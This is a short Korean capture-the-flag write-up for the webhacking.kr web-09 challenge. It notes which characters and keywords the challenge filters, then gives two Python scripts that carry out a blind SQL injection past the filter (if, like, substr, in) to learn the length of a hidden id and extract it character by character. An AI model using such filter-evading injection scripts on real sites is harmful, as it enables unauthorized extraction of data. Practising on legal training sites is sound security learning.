뭔가 필터링하는거 같았다
추가적으로 어떤걸 필터링하나 확인해보니
', and, or, >, <, =, ascii, ord, hex, 공백, %을 필터링하는거 같았다
더 있을 수 도 있다
일단 id가 비번이라고 하니 id를 알아내야겠다
나와라 파이썬
import requests
cookie = {"PHPSESSID":"자신 세션"}
for i in range(1, 20):
url = f"https://webhacking.kr/challenge/web-09/?no=if(length(id)like({i}),3,0)"
r = requests.get(url, cookies=cookie)
if r.text.find('Secret') != -1:
print(i)
break
실행하면 id의 길이가 나온다
길이를 구했으니 이제 데이터 값을 구해보자
import requests
cookie = {"PHPSESSID":"ibll9oobvrrhr959upo45kso3u"}
result = []
for i in range(1, 12):
for j in range(33 , 123):
w = hex(j)
url = f"https://webhacking.kr/challenge/web-09/?no=if(substr(id,{i},1)in({w}),3,0)"
r = requests.get(url, cookies=cookie)
if r.text.find('Secret') != -1:
result.append(chr(j))
break
for i in result:
print(i.lower(), end='')
실행시키면 id가 나오고 password에 제출하면 풀린다